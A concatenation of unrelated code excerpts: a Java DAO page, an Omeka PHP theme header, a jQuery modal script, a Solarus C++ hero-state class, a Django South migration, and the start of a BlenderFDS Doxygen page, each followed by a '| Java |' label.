<a class="jxr_linenumber" name="89" href="#89">89</a> <strong class="jxr_keyword">public</strong> <strong class="jxr_keyword">void</strong> save(<a href="../../../../fspotcloud/server/model/api/Command.html">Command</a> c) {
<a class="jxr_linenumber" name="90" href="#90">90</a> PersistenceManager pm = pmProvider.get();
<a class="jxr_linenumber" name="91" href="#91">91</a> <strong class="jxr_keyword">try</strong> {
<a class="jxr_linenumber" name="92" href="#92">92</a> pm.makePersistent(c);
<a class="jxr_linenumber" name="93" href="#93">93</a> } <strong class="jxr_keyword">finally</strong> {
<a class="jxr_linenumber" name="94" href="#94">94</a> pm.close();
<a class="jxr_linenumber" name="95" href="#95">95</a> }
<a class="jxr_linenumber" name="96" href="#96">96</a> }
<a class="jxr_linenumber" name="97" href="#97">97</a>
<a class="jxr_linenumber" name="98" href="#98">98</a> @Override
<a class="jxr_linenumber" name="99" href="#99">99</a> <strong class="jxr_keyword">public</strong> <strong class="jxr_keyword">int</strong> getCountUnderAThousend() {
<a class="jxr_linenumber" name="100" href="#100">100</a> PersistenceManager pm = pmProvider.get();
<a class="jxr_linenumber" name="101" href="#101">101</a> <strong class="jxr_keyword">int</strong> count = -1;
<a class="jxr_linenumber" name="102" href="#102">102</a> <strong class="jxr_keyword">try</strong> {
<a class="jxr_linenumber" name="103" href="#103">103</a> Query query = pm.newQuery(CommandDO.<strong class="jxr_keyword">class</strong>);
<a class="jxr_linenumber" name="104" href="#104">104</a> List<CommandDO> rs = (List<CommandDO>) query.execute();
<a class="jxr_linenumber" name="105" href="#105">105</a> count = rs.size();;
<a class="jxr_linenumber" name="106" href="#106">106</a> } <strong class="jxr_keyword">finally</strong> {
<a class="jxr_linenumber" name="107" href="#107">107</a> pm.close();
<a class="jxr_linenumber" name="108" href="#108">108</a> }
<a class="jxr_linenumber" name="109" href="#109">109</a>
<a class="jxr_linenumber" name="110" href="#110">110</a> <strong class="jxr_keyword">return</strong> count;
<a class="jxr_linenumber" name="111" href="#111">111</a> }
<a class="jxr_linenumber" name="112" href="#112">112</a>
<a class="jxr_linenumber" name="113" href="#113">113</a> }
</pre>
<hr/><div id="footer">This page was automatically generated by <a href="http://maven.apache.org/">Maven</a></div></body>
</html>
| Java |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Natural Europe Pathways <?php echo isset($title) ? ' | ' . strip_formatting($title) : ''; ?></title>
<!-- Meta -->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="description" content="Pathway test!" />
<meta name="Keywords" content="pathways">
<?php //echo auto_discovery_link_tag(); ?>
<?php
$findme="students"; $pos = stripos($_SERVER['REQUEST_URI'],$findme);
$findme_exh="exhibits"; $pos_exhib = stripos($_SERVER['REQUEST_URI'],$findme_exh);
$findme_exh2="/exhibits/"; $pos_exhib2 = stripos($_SERVER['REQUEST_URI'],$findme_exh2);
$findme_resources = "resources"; $pos_resources = stripos($_SERVER['REQUEST_URI'],$findme_resources);
$findme_home = "home"; $pos_home = stripos($_SERVER['REQUEST_URI'],$findme_home);
$findme_collections = "collection"; $pos_collections = 0; $pos_collections = stripos($_SERVER['REQUEST_URI'],$findme_collections);
$findme_edu="educators"; $pos_edu = stripos($_SERVER['REQUEST_URI'],$findme_edu);
$findme_search="search"; $pos_search = stripos($_SERVER['REQUEST_URI'],$findme_search);
$findme_users="users"; $pos_users = stripos($_SERVER['REQUEST_URI'],$findme_users);
$findme_glos="glossary"; $pos_glos = stripos($_SERVER['REQUEST_URI'],$findme_glos);
$findme_res="research"; $pos_res = stripos($_SERVER['REQUEST_URI'],$findme_res);
$findme_disc="eid"; $pos_disc = stripos($_SERVER['REQUEST_URI'],$findme_disc);
?>
<!-- Stylesheets -->
<?php if(isset($_GET['nhm']) and $_GET['nhm']=='MNHN'){ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/page_mnhn.css'); ?>"/>
<?php } elseif(isset($_GET['nhm']) and $_GET['nhm']=='TNHM'){ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/page_tnhm.css'); ?>"/>
<?php } elseif(isset($_GET['nhm']) and $_GET['nhm']=='NHMC'){ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/page_tnhm.css'); ?>"/>
<?php } elseif(isset($_GET['nhm']) and $_GET['nhm']=='HNHM'){ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/page_tnhm.css'); ?>"/>
<?php } elseif(isset($_GET['nhm']) and $_GET['nhm']=='JME'){ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/page_tnhm.css'); ?>"/>
<?php } elseif(isset($_GET['nhm']) and $_GET['nhm']=='AC'){ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/page_tnhm.css'); ?>"/>
<?php } else{ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/page.css'); ?>"/>
<?php } ?>
<link rel="shortcut icon" href="./images/fav.ico" />
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/lightview/css/lightview.css');?>" />
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/typography.css');?>"/>
<!--[if lt IE 8]><link href="<?php echo uri('themes/natural/css/page_ie7.css');?>" rel="stylesheet" type="text/css" media="screen" /><![endif]-->
<!-- JavaScripts -->
<script type="text/javascript" src="<?php echo uri('themes/natural/scripts/ajax/ajax.js');?>"></script>
<script type="text/javascript" src="<?php echo uri('themes/natural/scripts/ajax/ajax_chained.js');?>"></script>
<?php if ($pos_collections>'0'){ } else{
echo '<script type="text/javascript" src="'.uri('themes/natural/lightview/prototype.js').'"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.2/scriptaculous.js"></script>';
}
?>
<script type='text/javascript' src="<?php echo uri('themes/natural/lightview/js/lightview.js');?>"></script>
<script type='text/javascript' src="<?php echo uri('themes/natural/scripts/functions.js');?>"></script>
<?php if ($pos_exhib2>0){ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/jquery.jscrollpane.css'); ?>"/>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script>jQuery.noConflict();</script>
<?php } else{ ?>
<script type="text/javascript" language="javascript" src="<?php echo uri('themes/natural/javascripts/jquery.js'); ?>"></script>
<script>
jQuery.noConflict();
</script>
<?php } ?>
<script type="text/javascript" language="javascript" src="<?php echo uri('themes/natural/javascripts/main_tooltip.js'); ?>"></script>
<!-- Plugin Stuff -->
<?php echo plugin_header(); ?>
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-28875549-1']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
</head>
<body>
<?php
session_start();
// store session data
$locale = Zend_Registry::get('Zend_Locale');
$_SESSION['get_language']=get_language_for_switch();
$_SESSION['get_language_omeka']=get_language_for_omeka_switch();
$_SESSION['get_language_for_internal_xml']=get_language_for_internal_xml();
?>
<div id="page-container">
<?php if(isset($_GET['nhm']) and ($_GET['nhm']=='MNHN' or $_GET['nhm']=='TNHM' or $_GET['nhm']=='NHMC' or $_GET['nhm']=='JME' or $_GET['nhm']=='HNHM' or $_GET['nhm']=='AC')){ ?>
<?php } else{ ?>
<div id="page-header">
<div style="float:left;"><h1><a href="<?php echo uri('index');?>"><img src="<?php echo uri('themes/natural/images/interface/logonatural.png'); ?>"></a></a></h1></div><!--end rx div-->
<div id="nav-site-supplementary" class="menubar">
<ul id="nav-site-supplementary-menu">
<li><a href="<?php echo uri('admin/users/login');?>" title="Sign-in"><?php echo __('Sign-in'); ?></a></li>
</ul><!--end nav-site-supplementary-menu ul-->
</div><!--end nav-site-supplementary div-->
</div><!--end page-header div-->
<div id="languages" style="position: absolute; top: 150px; right: 10px; width: 200px;">
<?php echo language_switcher(); ?>
</div>
<?php } ?>
| Java |
!function(namespace) {
'use strict';
function Modal(elem, params) {
this.$element = jQuery(elem);
this.params = params || {};
this.cssReadyElement = this.params.cssReadyElement || 'JS-Modal-ready';
this.cssActiveElement = this.params.cssActiveElement || 'JS-Modal-active';
this.__construct();
}
Modal.prototype.__construct = function __construct() {
this.$box = this.$element.find('.JS-Modal-Box');
this.$close = this.$element.find('.JS-Modal-Close');
this.$title = this.$element.find('.JS-Modal-Title');
this.$container = this.$element.find('.JS-Modal-Container');
this._init();
};
Modal.prototype._init = function _init() {
var _this = this;
this.$close.on('click.JS-Modal', function() { _this._close.apply(_this, []); });
$('body').on("keyup", function(e) {
if ((e.keyCode == 27)) {
_this._close.apply(_this, []);
}
});
$('.JS-Gannt-Modal').click(function() {
if (_this.$element.hasClass('JS-Modal-active'))
_this._close.apply(_this, []);
});
$('.JS-Modal-Box').click(function(event){
event.stopPropagation();
});
/* API. Events */
this.$element.on('modal:setContent', function(e, data) { _this.setContent.apply(_this, [data]); });
this.$element.on('modal:open', function() { _this.open.apply(_this, []); });
this.$element.on('modal:close', function() { _this.close.apply(_this, []); });
this.$element.on('modal:clear', function() { _this.clear.apply(_this, []); });
this._ready();
} ;
Modal.prototype._ready = function _ready() {
this.$element
.addClass(this.cssReadyElement)
.addClass('JS-Modal-ready');
};
Modal.prototype._setContent = function _setContent(content) {
this.$container.html(content);
};
Modal.prototype._open = function _open() {
if (!this.$element.hasClass('JS-Modal-active')) {
this.$element
.addClass(this.cssActiveElement)
.addClass('JS-Modal-active')
}
};
Modal.prototype._close = function _close() {
if (this.$element.hasClass('JS-Modal-active')) {
this.$element
.removeClass(this.cssActiveElement)
.removeClass('JS-Modal-active');
}
};
Modal.prototype._clear = function _clear() {
};
/* API. Methods */
Modal.prototype.setContent = function setContent(content) {
if (!arguments.length) {
return false;
}
this._setContent(content);
};
Modal.prototype.open = function open() {
this._open();
};
Modal.prototype.close = function close() {
this._close();
};
Modal.prototype.clear = function clear() {
this._clear();
};
namespace.Modal = Modal;
}(this);
| Java |
/*
* Copyright (C) 2009 Christopho, Solarus - http://www.solarus-engine.org
*
* Solarus is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Solarus is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "hero/HookshotState.h"
#include "hero/FreeState.h"
#include "hero/HeroSprites.h"
#include "entities/MapEntities.h"
#include "entities/Hookshot.h"
/**
* @brief Constructor.
* @param hero the hero controlled by this state
*/
Hero::HookshotState::HookshotState(Hero &hero):
State(hero),
hookshot(NULL) {
}
/**
* @brief Destructor.
*/
Hero::HookshotState::~HookshotState() {
}
/**
* @brief Starts this state.
* @param previous_state the previous state
*/
void Hero::HookshotState::start(State *previous_state) {
State::start(previous_state);
get_sprites().set_animation_hookshot();
hookshot = new Hookshot(hero);
get_entities().add_entity(hookshot);
}
/**
* @brief Ends this state.
* @param next_state the next state (for information)
*/
void Hero::HookshotState::stop(State *next_state) {
State::stop(next_state);
if (!hookshot->is_being_removed()) {
// the hookshot state was stopped by something other than the hookshot (e.g. an enemy)
hookshot->remove_from_map();
hero.clear_movement();
}
}
/**
* @brief Returns whether the hero is touching the ground in the current state.
* @return true if the hero is touching the ground in the current state
*/
bool Hero::HookshotState::is_touching_ground() {
return false;
}
/**
* @brief Returns whether the hero ignores the effect of deep water in this state.
* @return true if the hero ignores the effect of deep water in the current state
*/
bool Hero::HookshotState::can_avoid_deep_water() {
return true;
}
/**
* @brief Returns whether the hero ignores the effect of holes in this state.
* @return true if the hero ignores the effect of holes in the current state
*/
bool Hero::HookshotState::can_avoid_hole() {
return true;
}
/**
* @brief Returns whether the hero ignores the effect of lava in this state.
* @return true if the hero ignores the effect of lava in the current state
*/
bool Hero::HookshotState::can_avoid_lava() {
return true;
}
/**
* @brief Returns whether the hero ignores the effect of prickles in this state.
* @return true if the hero ignores the effect of prickles in the current state
*/
bool Hero::HookshotState::can_avoid_prickle() {
return true;
}
/**
* @brief Returns whether the hero ignores the effect of teletransporters in this state.
* @return true if the hero ignores the effect of teletransporters in this state
*/
bool Hero::HookshotState::can_avoid_teletransporter() {
return true;
}
/**
* @brief Returns whether the hero ignores the effect of conveyor belts in this state.
* @return true if the hero ignores the effect of conveyor belts in this state
*/
bool Hero::HookshotState::can_avoid_conveyor_belt() {
return true;
}
/**
* @brief Returns whether some stairs are considered as obstacle in this state.
* @param stairs some stairs
* @return true if the stairs are obstacle in this state
*/
bool Hero::HookshotState::is_stairs_obstacle(Stairs& stairs) {
// allow to fly over stairs covered by water
return hero.get_ground() != GROUND_DEEP_WATER;
}
/**
* @brief Returns whether a sensor is considered as an obstacle in this state.
* @param sensor a sensor
* @return true if the sensor is an obstacle in this state
*/
bool Hero::HookshotState::is_sensor_obstacle(Sensor& sensor) {
return true;
}
/**
* @brief Returns whether a jump sensor is considered as an obstacle in this state.
* @param jump_sensor a jump sensor
* @return true if the sensor is an obstacle in this state
*/
bool Hero::HookshotState::is_jump_sensor_obstacle(JumpSensor& jump_sensor) {
return false;
}
/**
* @brief Returns whether the hero ignores the effect of switches in this state.
* @return true if the hero ignores the effect of switches in this state
*/
bool Hero::HookshotState::can_avoid_switch() {
return true;
}
/**
* @brief Returns whether the hero can be hurt in this state.
* @return true if the hero can be hurt in this state
*/
bool Hero::HookshotState::can_be_hurt() {
return true;
}
/**
* @brief Notifies this state that the hero has just tried to change his position.
* @param success true if the position has actually just changed
*/
void Hero::HookshotState::notify_movement_tried(bool success) {
if (!success) {
// an unexpected obstacle was reached (e.g. a moving NPC)
hero.set_state(new FreeState(hero));
}
}
| Java |
# -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'ArticleComment'
db.create_table('cms_articlecomment', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('article', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['cms.Article'])),
('created_at', self.gf('django.db.models.fields.DateField')(auto_now_add=True, blank=True)),
('author', self.gf('django.db.models.fields.CharField')(max_length=60)),
('comment', self.gf('django.db.models.fields.TextField')()),
))
db.send_create_signal('cms', ['ArticleComment'])
def backwards(self, orm):
# Deleting model 'ArticleComment'
db.delete_table('cms_articlecomment')
models = {
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'cms.article': {
'Meta': {'ordering': "['title']", 'object_name': 'Article'},
'allow_comments': ('django.db.models.fields.CharField', [], {'default': "'N'", 'max_length': '1'}),
'author': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"}),
'content': ('django.db.models.fields.TextField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}),
'conversions': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'created_at': ('django.db.models.fields.DateField', [], {'default': 'datetime.datetime.now'}),
'header': ('django.db.models.fields.TextField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'keywords': ('django.db.models.fields.TextField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}),
'sections': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['cms.Section']", 'null': 'True', 'through': "orm['cms.SectionItem']", 'blank': 'True'}),
'slug': ('django.db.models.fields.SlugField', [], {'unique': 'True', 'max_length': '250', 'blank': 'True'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '250'}),
'updated_at': ('django.db.models.fields.DateField', [], {'auto_now': 'True', 'blank': 'True'}),
'views': ('django.db.models.fields.IntegerField', [], {'default': '0'})
},
'cms.articlearchive': {
'Meta': {'ordering': "('updated_at',)", 'object_name': 'ArticleArchive'},
'article': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Article']"}),
'content': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'header': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'updated_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"})
},
'cms.articlecomment': {
'Meta': {'ordering': "('created_at',)", 'object_name': 'ArticleComment'},
'article': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Article']"}),
'author': ('django.db.models.fields.CharField', [], {'max_length': '60'}),
'comment': ('django.db.models.fields.TextField', [], {}),
'created_at': ('django.db.models.fields.DateField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'cms.filedownload': {
'Meta': {'object_name': 'FileDownload'},
'count': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'expires_at': ('django.db.models.fields.DateTimeField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}),
'file': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['filer.File']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'uuid': ('uuidfield.fields.UUIDField', [], {'unique': 'True', 'max_length': '32', 'blank': 'True'})
},
'cms.menu': {
'Meta': {'object_name': 'Menu'},
'article': ('smart_selects.db_fields.ChainedForeignKey', [], {'default': 'None', 'to': "orm['cms.Article']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
u'level': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
u'lft': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
'link': ('django.db.models.fields.CharField', [], {'max_length': '250', 'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'parent': ('mptt.fields.TreeForeignKey', [], {'blank': 'True', 'related_name': "'children'", 'null': 'True', 'to': "orm['cms.Menu']"}),
u'rght': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
'section': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Section']", 'null': 'True', 'blank': 'True'}),
u'tree_id': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'})
},
'cms.section': {
'Meta': {'ordering': "['title']", 'object_name': 'Section'},
'articles': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['cms.Article']", 'null': 'True', 'through': "orm['cms.SectionItem']", 'blank': 'True'}),
'conversions': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'header': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'keywords': ('django.db.models.fields.TextField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}),
'slug': ('django.db.models.fields.SlugField', [], {'max_length': '250', 'blank': 'True'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '250'}),
'views': ('django.db.models.fields.IntegerField', [], {'default': '0'})
},
'cms.sectionitem': {
'Meta': {'ordering': "['order']", 'object_name': 'SectionItem'},
'article': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Article']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'order': ('django.db.models.fields.PositiveIntegerField', [], {'default': '1', 'db_index': 'True'}),
'section': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['cms.Section']"})
},
'cms.urlmigrate': {
'Meta': {'object_name': 'URLMigrate'},
'dtupdate': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'auto_now_add': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'new_url': ('django.db.models.fields.CharField', [], {'max_length': '250'}),
'obs': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'old_url': ('django.db.models.fields.CharField', [], {'max_length': '250', 'db_index': 'True'}),
'redirect_type': ('django.db.models.fields.CharField', [], {'max_length': '1'}),
'views': ('django.db.models.fields.IntegerField', [], {'default': '0'})
},
'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'filer.file': {
'Meta': {'object_name': 'File'},
'_file_size': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'file': ('django.db.models.fields.files.FileField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'folder': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'all_files'", 'null': 'True', 'to': "orm['filer.Folder']"}),
'has_all_mandatory_data': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_public': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'modified_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '255', 'blank': 'True'}),
'original_filename': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'owner': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'owned_files'", 'null': 'True', 'to': "orm['auth.User']"}),
'polymorphic_ctype': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'polymorphic_filer.file_set'", 'null': 'True', 'to': "orm['contenttypes.ContentType']"}),
'sha1': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '40', 'blank': 'True'}),
'uploaded_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'})
},
'filer.folder': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('parent', 'name'),)", 'object_name': 'Folder'},
'created_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
u'level': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
u'lft': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
'modified_at': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'owner': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'filer_owned_folders'", 'null': 'True', 'to': "orm['auth.User']"}),
'parent': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'children'", 'null': 'True', 'to': "orm['filer.Folder']"}),
u'rght': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
u'tree_id': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True'}),
'uploaded_at': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'})
}
}
complete_apps = ['cms'] | Java |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.17"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>BlenderFDS: blenderfds28x.lang.OP_XB_export Class Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td id="projectlogo"><img alt="Logo" src="blenderfds_128.png"/></td>
<td id="projectalign" style="padding-left: 0.5em;">
<div id="projectname">BlenderFDS
</div>
<div id="projectbrief">BlenderFDS, the open user interface for NIST Fire Dynamics Simulator (FDS), as an addon for Blender 2.8x</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.17 -->
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
var searchBox = new SearchBox("searchBox", "search",false,'Search');
/* @license-end */
</script>
<script type="text/javascript" src="menudata.js"></script>
<script type="text/javascript" src="menu.js"></script>
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
$(function() {
initMenu('',true,false,'search.php','Search');
$(document).ready(function() { init_search(); });
});
/* @license-end */</script>
<div id="main-nav"></div>
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="navelem"><b>blenderfds28x</b></li><li class="navelem"><b>lang</b></li><li class="navelem"><a class="el" href="classblenderfds28x_1_1lang_1_1_o_p___x_b__export.html">OP_XB_export</a></li> </ul>
</div>
</div><!-- top -->
<div class="header">
<div class="summary">
<a href="#pub-static-attribs">Static Public Attributes</a> |
<a href="classblenderfds28x_1_1lang_1_1_o_p___x_b__export-members.html">List of all members</a> </div>
<div class="headertitle">
<div class="title">blenderfds28x.lang.OP_XB_export Class Reference</div> </div>
</div><!--header-->
<div class="contents">
<p>Blender representation to set if XB shall be exported to FDS.
<a href="classblenderfds28x_1_1lang_1_1_o_p___x_b__export.html#details">More...</a></p>
<div class="dynheader">
Inheritance diagram for blenderfds28x.lang.OP_XB_export:</div>
<div class="dyncontent">
<div class="center"><img src="classblenderfds28x_1_1lang_1_1_o_p___x_b__export__inherit__graph.png" border="0" usemap="#blenderfds28x_8lang_8_o_p___x_b__export_inherit__map" alt="Inheritance graph"/></div>
<map name="blenderfds28x_8lang_8_o_p___x_b__export_inherit__map" id="blenderfds28x_8lang_8_o_p___x_b__export_inherit__map">
<area shape="rect" title="Blender representation to set if XB shall be exported to FDS." alt="" coords="27,80,182,121"/>
<area shape="rect" href="classblenderfds28x_1_1types_1_1_b_f_param.html" title="Blender representation of an FDS parameter." alt="" coords="5,5,204,32"/>
</map>
